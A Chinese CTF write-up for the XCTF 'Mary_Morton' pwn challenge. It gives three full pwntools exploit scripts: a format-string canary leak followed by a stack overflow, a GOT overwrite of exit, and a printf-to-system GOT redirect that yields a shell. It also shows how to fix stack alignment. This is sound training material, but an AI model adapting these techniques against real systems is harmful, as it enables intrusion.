• 攻防世界-pwn-Mary_Morton


    原文地址: http://pluie.top/2020/10/08/攻防世界-pwn-Mary-Morton/

    逆向流程

    checksec

    image-20201006011519973

    程序很清楚

    image-20201006124639078

    格式化字符串漏洞

    image-20201006124739869

    栈溢出漏洞

    image-20201006124840380

    后门函数

    image-20201006125231695

    三种思路

    1.格式化字符串漏洞泄露canary,栈溢出控制返回地址

    2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址

    3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 '/bin/sh'

    思路一

    1. 格式化字符串漏洞泄露canary

      找到字符串偏移0x6,对应printf第六个参数

      image-20201006125956344

      image-20201006131205395

      确定canary偏移。buf与v2距离为0x88, 0x88/8=17, 17+6=23。canary的偏移是23,也就是对应printf的第23个参数。所以构造 payload = ‘%23&p'

    2. 构造栈溢出payload

      buf距离rbp 0x90

      payload = ’a'*(0x90-8) + p64(canary) + 'a' *8 + p64(0x4008DA)

    exp:

    # coding=utf-8
    #!/usr/bin/env python
    from pwn import *
    context.log_level='debug'
    context.arch="amd64"
    elf = ELF('./no1r')
    
    obj=process('./no1r')
    #obj=remote('220.249.52.133','51674')
    obj.recvuntil('battle 
    ')
    obj.sendline('2')
    
    obj.sendline('%23$p')
    obj.recvuntil('0x')
    canary = int(obj.recv()[:16],16)
    #print('canary is ',canary)
    sys_addr = 0x4008DA
    payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DA)
    
    obj.sendline('1')
    obj.sendline(payload)
    #gdb.attach(obj)
    
    obj.recv()
    obj.interactive()
    

    思路二

    字符串偏移同思路一

    exp:

    # coding=utf-8
    #!/usr/bin/env python
    from pwn import *
    context.log_level='debug'
    context.arch="amd64"
    elf = ELF('./no1r')
    #obj = process('./no1r')
    obj=remote('220.249.52.133','39008')
    
    exit_got = elf.got['exit']
    sys_addr = 0x4008DA
    
    obj.sendline('2')
    payload = fmtstr_payload(6,{exit_got:sys_addr})
    
    obj.sendline(payload)
    obj.recvuntil('battle 
    ')
    obj.sendline('3')
    obj.recv()
    obj.interactive()
    

    思路三

    字符串偏移同思路一

    exp:

    # coding=utf-8
    #!/usr/bin/env python
    from pwn import *
    context.log_level='debug'
    context.arch="amd64"
    elf = ELF('./no1r')
    
    obj=remote('220.249.52.133','39008')
    #obj=process('./no1r')
    
    printf_got = elf.got['printf']
    sys_plt = 0x04006A0
    
    obj.sendline('2')
    
    payload = fmtstr_payload(6,{printf_got:sys_plt})
    
    obj.sendline(payload)
    obj.recvuntil('battle 
    ')
    obj.sendline('2')
    obj.sendline('/bin/sh')
    
    obj.recv()
    obj.interactive()
    

    踩过的坑

    思路一的payload远程可以打通,但在我本地打不通。脚本跑完显示段错误。
    image-20201008004932460我用的是ubuntu1804。后来询问队里的大佬后才解决问题。这里记录下踩坑经过。

    首先在脚本中obj.sendline(payload) 下方添加一行 gdb.attach(obj) ,运行脚本,在新打开的终端中输入指令b *0x4009A5(在调用read函数处下断),执行后再输入指令c,执行后程序停在一条指令处,这条指令便是程序出现段错误的原因。

    image-20201008010739854

    这条指令的作用是检查栈是否对齐(16字节),可以看到栈顶地址0x7ffdadd33d78不是16的倍数,所以程序出现段错误。

    我们要做的是让栈对齐,方法有很多种

    1. payload 改为 payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DA)*2

    2. payload 改为 payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4009FE) + p64(0x4008DA)

    3. payload 改为 payload = ’a'*(0x90-8) + p64(canary) + 'a'*8 + p64(0x4008DB)

      .......

    参考文章

    在一些64位的gl ibc的payload调用system函数失败问题

  • 相关阅读:
    hdu 3085
    hdu 3295 模拟过程。数据很水
    hdu 2181 水搜索
    pku ppt some problem
    2-sat
    The 2014 ACM-ICPC Asia Mudanjiang Regional First Round
    nenu contest3
    The 10th Zhejiang Provincial Collegiate Programming Contest
    最小费用最大流
    多源最短路
  • 原文地址:https://www.cnblogs.com/pluie/p/13780055.html
Copyright © 2020-2023  润新知